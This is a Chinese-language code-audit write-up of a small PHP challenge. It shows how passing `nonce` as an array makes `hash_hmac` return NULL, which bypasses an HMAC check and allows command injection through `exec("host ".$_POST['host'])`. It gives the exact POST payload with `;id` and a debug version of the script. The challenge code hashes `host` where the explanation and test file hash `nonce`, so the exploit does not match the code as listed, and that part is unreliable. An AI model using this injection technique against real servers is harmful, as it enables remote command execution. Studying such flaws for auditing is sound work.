PHP代码审计-小题一道
PHP代码:
1 <?php 2 3 if (empty($_POST['hmac']) || empty($_POST['host'])) { 4 header('HTTP/1.0 400 Bad Request'); 5 exit; 6 } 7 8 $secret = getenv("SECRET"); 9 10 if (isset($_POST['nonce'])) 11 $secret = hash_hmac('sha256', $_POST['host'], $secret); 12 13 $hmac = hash_hmac('sha256', $_POST['host'], $secret); 14 15 if ($hmac !== $_POST['hmac']) { 16 header('HTTP/1.0 403 Forbidden'); 17 exit; 18 } 19 20 echo exec("host ".$_POST['host']); 21 ?>
解读代码,整个流程就是POST方式传送hmac和hmac,最后绕过判断,POST传送的hmac与加密后的hmac相同,最终执行echo exec("host ".$_POST['host']); 表示成功。
2个判断:
if (empty($_POST['hmac']) || empty($_POST['host'])) {
header('HTTP/1.0 400 Bad Request');
exit;
}
if ($hmac !== $_POST['hmac']) { header('HTTP/1.0 403 Forbidden'); exit; }
主要是第二个判断,考虑PHP的类型自动转换,控制的变量只有host和nonce
在传入参数的时候,PHP不仅可以让你决定传入的值是什么,还可以让你决定传入的类型。所以可以是nonce=123,也可以传入一个数组nonce[]=123。那么我们试试:
可以看到,返回了NULL,有的PHP版本同时还会提示一个warning,但返回的也是NULL。那么我们如果nonce传入一个数组,接下来的hmac我们也会知道:
我们在host参数传入;id,最后会执行host ;id就会打印出当前的计算机用户名。
最终我们的需要post的数据为:
hmac=58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1&host=;id&nonce[]=1
结果:
测试文件代码:
<?php if (empty($_POST['hmac']) || empty($_POST['host'])) { header('HTTP/1.0 400 Bad Request'); exit; } $secret = getenv("SECRET"); var_dump($secret);var_dump($_POST['hmac']);var_dump($_POST['host']); if (isset($_POST['nonce'])) $secret = hash_hmac('sha256', $_POST['nonce'], $secret); echo "<br><br>"; var_dump($secret); $hmac = hash_hmac('sha256', $_POST['host'], $secret); echo "<br><br>"; var_dump(hash_hmac('sha256', ';id', $secret)); var_dump($hmac); echo "<br><br>"; var_dump($hmac == $_POST['hmac']); if ($hmac !== $_POST['hmac']) { header('HTTP/1.0 403 Forbidden'); exit; } echo exec("host ".$_POST['host']); ?>